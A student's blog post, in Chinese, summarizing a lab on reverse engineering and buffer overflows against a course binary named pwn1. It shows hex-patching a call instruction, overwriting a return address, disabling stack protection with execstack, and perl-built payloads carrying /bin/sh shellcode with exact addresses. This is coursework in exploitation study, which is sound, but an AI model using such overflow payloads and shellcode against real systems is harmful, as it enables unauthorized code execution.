20145212罗天晨《网络对抗》第1周学习总结——逆向及Bof基础实践

逆向及Bof基础实践


一、实践目标

  • 1.运行原本不可访问的代码片段
  • 2.强行修改程序执行流
  • 3.以及注入运行任意代码。

二、基础知识及实践准备

  • 1.理解EIP寄存器及其功能
(1)IP是指令寄存器,存放当前指令的下一条指令的地址。
(2)CPU该执行哪条指令就是通过IP来指示的。
(3)EIP是32位机的指令寄存器。
  • 2.理解汇编语言中call指令的功能

    具体可参考此博客

    汇编语言call和ret指令的具体执行

  • 3.关于缓冲区溢出攻击

    缓冲区溢出攻击这个名词想必大家都不陌生,但是具体的应用大多数人却是第一次做,在此找到了一篇博客,可以加深对于缓冲区溢出的理解

    缓冲区溢出攻击

简单来说,call和ret指令都是转移指令,它们都修改IP,或同时修改CS和IP。
调用call指令时, 把call指令的下一个指令放入堆栈, 调用ret时, 用堆栈保存的地址返回。

三、实验步骤

方法一:通过手工修改可执行文件,改变程序执行流程,使得call函数的跳转不是foo函数而是直接跳转到getShell函数。

  • 1.将下载好的pwn1文件进行试运行和反汇编:



    可以看出,pwn1是个实现了对输入的内容进行回显的可执行文件

  • 2.查看反汇编代码



    可以看出,这里的call函数使程序跳转到了foo函数



    通过计算,可以得知"getShell-80484ba"对应的补码就行是c3ffffff。

  • 3.修改可执行文件,将call指令的目标地址由d7ffffff变为c3ffffff(可以在vim中使用"%!xxd"转换成16进制进行编辑,也可安装使用wxhexeditor进行编辑)

  • 4.再次查看反汇编代码



    可以看出,这里的call函数使程序跳转到了getshell函数

  • 5.运行修改过后的文件


方法二:通过缓冲区溢出漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 1.使用gdb确认输入字符串哪几个字符会覆盖到返回地址



    可以看出,寄存器eip的值换算成ASCⅡ码是1234。即字符串111111112222222233333333444444441234567中,1234四个数的位置就是堆栈上的返回地址的位置。

  • 2.覆盖返回地址的值

    getShell的内存地址,在未启用ALSR的主机上是固定不变的,通过反汇编时可以看到,即0804847d

  • 3.构造输入字符串

    因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以可以使用perl脚本语言生成一个包括这样的字符串的文件

    然后将input的输入,通过管道符“|”,作为pwn1的输入

    可以使用16进制查看指令xxd查看input文件的内容是否如预期。



    可以看出,缓冲区溢出攻击成功。


四、注入shellcode实验

一、准备一段shellcode

二、设置环境

  • Bof攻击防御技术

    1.从防止注入的角度来看:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。

    2.GCC中的编译器有堆栈保护技术(结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。)

    3.此时就需要手动设置环境,具体在终端中输入如下:
apt-cache search execstack
apt-get install execstack
execstack --help
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行

三、构造要注入的payload

  • 1.Linux下有两种基本构造攻击buf的方法:
//缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
1.retaddr+nop+shellcode
2.nop+shellcode+retaddr
  • 2.在终端中输入如下:

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

    上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

    特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

  • 3.打开一个新的终端窗口注入这段攻击buf,具体输入如下:

    (cat input_shellcode;cat) | ./pwn1

  • 4.从图中可以看出此时不知道该覆盖的地址是什么,当然是不成功的。这就意味着需要在另一个终端通过gdb调试确定返回地址。(具体如何在终端中运行不再赘述)



    断在了ret的位置,也就是说,ret之后就跳到我们覆盖的retaddr那个地方了

    此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车

  • 5.通过如下方式寻找需要输入的地址:



    //看到01020304了,就表明了这是返回地址的位置,也就是说0Xffffd61c是此时的位置。shellcode就紧紧的挨着这个地址,所以要输入地址是0xffffd620

  • 6.回到另一个终端,将input_shellcode修改如下:

    perl -e 'print "A" x 32;print "\x20\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode



    成功了!!!

20145212罗天晨 逆向及Bof基础实践的更多相关文章

  1. 网络对抗实验一 逆向及Bof基础实践

    网络对抗实验一 逆向及Bof基础实践 一.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ...

  2. 20145308 《网络对抗》 逆向及BOF基础实践 学习总结

    20145308 <网络对抗> 逆向及BOF基础实践 学习总结 实践目的 通过两种方法,实现程序能够运行原本并不会被运行的代码 实践原理 利用foo函数的Bof漏洞,构造一个攻击输入字符串 ...

  3. 20145320《网络对抗》逆向及Bof基础实践

    1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn20145320的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的 ...

  4. 2017-2018-2 20155229《网络对抗技术》Exp1:逆向及Bof基础实践

    逆向及Bof基础实践 实践基础知识 管道命令: 能够将一个命令的执行结果经过筛选,只保留需要的信息. cut:选取指定列. 按指定字符分隔:只显示第n 列的数据 cut -d '分隔符' -f n 选 ...

  5. 20145206邹京儒《网络对抗》逆向及Bof基础实践

    20145206邹京儒<网络对抗>逆向及Bof基础实践 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:ma ...

  6. 20145216《网络对抗》逆向及BOF基础实践

    20145216<网络对抗>逆向及BOF基础实践 1 逆向及Bof基础实践说明 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函 ...

  7. 20145305 《网络对抗》逆向及Bof基础实践

    逆向及Bof基础实践说明 实践说明地址 实验过程及结果截图

  8. 20145327 《网络对抗》逆向及BOF基础实践

    20145327 <网络对抗>逆向及BOF基础实践 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任 ...

  9. 20145204《网络对抗》逆向及bof基础实践

    20145204<网络对抗>逆向及bof基础实践 实践目的说明 实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何 ...

随机推荐

  1. LAMP部署流水

    1.安装完成linux系统后,关闭防火墙: [root@localhost ~]# service iptables stop iptables: Setting chains to policy A ...

  2. are not called implicitly

    php.net <?php class BaseClass{ function __construct() { print "In BaseClass constructor<b ...

  3. vmware 安装 kali linux 系统到U盘 启动错误(initramfs:) 修复方法

    安装kalilinux到U盘 启动之后出现这个错误: 这是grub路径不对. 解决办法: 在这模式下可以输入命令:blkid 查看所列举出的磁盘 找到你的U盘系统 TYPE="ext4&qu ...

  4. javaScript高级教程(四) 复制对象

    //返回新对象,双方互不影响 function clone(obj){ //alert('clone'); if(typeof(obj) != 'object') return obj; if(obj ...

  5. xpath教程 2 - lxml库

    xpath教程 2 - lxml库 这些就是XPath的语法内容,在运用到Python抓取时要先转换为xml. lxml库 lxml 是 一个HTML/XML的解析器,主要的功能是如何解析和提取 HT ...

  6. Scala系统学习(四):Scala变量

    变量是保存存储值的内存位置的名称.这意味着当创建变量时,可以在内存中保留一些空间. 根据变量的数据类型,编译器分配内存并决定可以存储在预留内存中的内容.因此,通过为变量分配不同的数据类型,可以在这些变 ...

  7. Spark Sort Based Shuffle内存分析

    分布式系统里的Shuffle 阶段往往是非常复杂的,而且分支条件也多,我只能按着我关注的线去描述.肯定会有不少谬误之处,我会根据自己理解的深入,不断更新这篇文章. 前言 借用和董神的一段对话说下背景: ...

  8. 机器学习理论基础学习13--- 隐马尔科夫模型 (HMM)

    隐含马尔可夫模型并不是俄罗斯数学家马尔可夫发明的,而是美国数学家鲍姆提出的,隐含马尔可夫模型的训练方法(鲍姆-韦尔奇算法)也是以他名字命名的.隐含马尔可夫模型一直被认为是解决大多数自然语言处理问题最为 ...

  9. jmeter 读取excel数据

    jmeter 读取excel数据使用的方法是使用Jmeter CSV Data Set Config参数化 但是将excel文件保存成csv格式后,jmeter读取后返回的数据总是出现乱码问题, 以下 ...

  10. Leetcode: Repeated DNA Sequence

    All DNA is composed of a series of nucleotides abbreviated as A, C, G, and T, for example: "ACG ...